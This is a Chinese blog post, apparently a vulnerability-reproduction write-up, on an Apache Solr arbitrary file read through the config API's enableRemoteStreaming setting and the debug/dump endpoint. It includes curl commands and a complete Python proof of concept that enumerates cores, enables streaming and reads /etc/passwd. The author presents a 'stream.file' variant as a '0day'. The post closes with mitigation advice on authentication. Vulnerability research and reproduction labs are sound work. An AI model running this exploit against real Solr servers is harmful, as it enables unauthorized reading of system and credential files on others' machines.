【漏洞复现系列】Apache Solr SSRF文件读取漏洞(附0day POC)

漏洞详情

Apache Solr <= 8.8.1均受影响,通杀所有版本,官方拒绝修复

通过Solr提供的API可以开启远程开启文件流读取: curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xx.xx.xx.xx:8984/solr/corename/config -H 'Content-type:application/json'

再传入文件地址,就可以进行任意文件读取 curl "http://xx.xx.xx.xx:8984/solr/core_name/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

复现的必要条件:

1.Apache Solr <= 8.8.1

2.存在至少一个core(至少存在一个core的原因:url中的core_name是Solr中的已经创建的core的名字,我们刚下载来的Solr默认是没有core的,因此需要创建)

首先从Apache Solr官网下载最新的Solr 8.8.1:https://solr.apache.org/downloads.html

解压完成后,进入bin目录,执行

solr start -p 8984

然后打开

http://127.0.0.1:8984

点击左侧的Core Admin来创建一个Core,可以发现报错

此时Solr已经在server/solr目录下已经创建了名字为new_core2的文件夹,我们只需要把server/solr/configsets_default文件夹下的conf目录整个拷贝到new_core2文件夹下,即可

 

此时即可创建成功

通过http://127.0.0.1:8984/solr/admin/cores?indexInfo=false&wt=json 可以看到core的名字

目前,复现此漏洞的前置条件已经全部满足,开始启动POC

 1 # -*- coding: utf-8 -*-
 2 
 3 import requests
 4 import json
 5 
 6 
 7 class Poc(object):
 8     timeout = 30
 9 
10     def get_core_name(self, domain):
11         url = domain.strip("/") + '/solr/admin/cores?indexInfo=false&wt=json'
12         response = requests.get(url)
13         cores = json.loads(response.text)
14         core_names = cores['status'].keys()  # 获得core的名字
15         return core_names
16 
17     def enable_remote_streaming(self, domain, core_name):
18         url = domain.strip("/") + '/solr/' + core_name + '/config'
19         response = requests.post(url, headers={'Content-Type': 'application/application/json'},
20                                  data='{"set-property" :{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}')
21         if response.status_code == 200:  # 远程读取流文件配置开启成功
22             return True
23         return False
24 
25     def read_file(self, domain, core_name):
26         url = domain.strip("/") + '/solr/' + core_name + '/debug/dump?param=ContentStreams'
27         data = {'stream.file': '/etc/passwd'}
28         response = requests.post(url, data=data)
29         if response.status_code == 200:
30             file_content = json.loads(response.text)['streams'][0]['stream']
31             return file_content
32         return ''
33 
34     def verify(self, data):
35         url = data['url']
36         try:
37             core_names = self.get_core_name(url)
38             if len(core_names) > 0:
39                 for core_name in core_names:
40                     if self.enable_remote_streaming(url, core_name):
41                         file_content = self.read_file(url, core_name)
42                         if len(file_content) > 0:
43                             return {
44                                 'title': '{} 存在任意文件读取漏洞'.format(url),
45                                 'desc': '{} 存在任意文件读取漏洞, 返回内容为: {}'.format(url, file_content)
46 
47                             }
48         except:
49             pass
50 
51 
52 if __name__ == "__main__":
53     p = Poc()
54     r = p.verify({
55         'url': 'http://127.0.0.1:8984/',
56         'headers': {}
57     })
58     print(r)
59     # assert r is not None

目前已经有一些POC在流传,那我为什么说我的POC是0day POC呢

请看我POC中的第27行,目前市面上已经公开的POC基本都是

{'stream.url': 'file:///etc/passwd'}

但是经过我对代码的分析,发现了另一个利用手段

{'stream.file': '/etc/passwd'}

因此这是一个0day POC

修复建议

 官方拒绝修复该漏洞 因此只给出缓解措施:

不要将Apache Solr开放在公网或配置Solr身份校验。

配置Solr身份校验:

在security.json启用身份验证插件,代码示例: { "authentication" : { "class": "class.that.implements.authentication" }, "authorization": { "class": "class.that.implements.authorization" } }

参考链接:https://solr.apache.org/guide/6_6/authentication-and-authorization-plugins.html

金麟岂是池中物,一遇风云便化龙!
原文地址:https://www.cnblogs.com/ABKing/p/14557662.html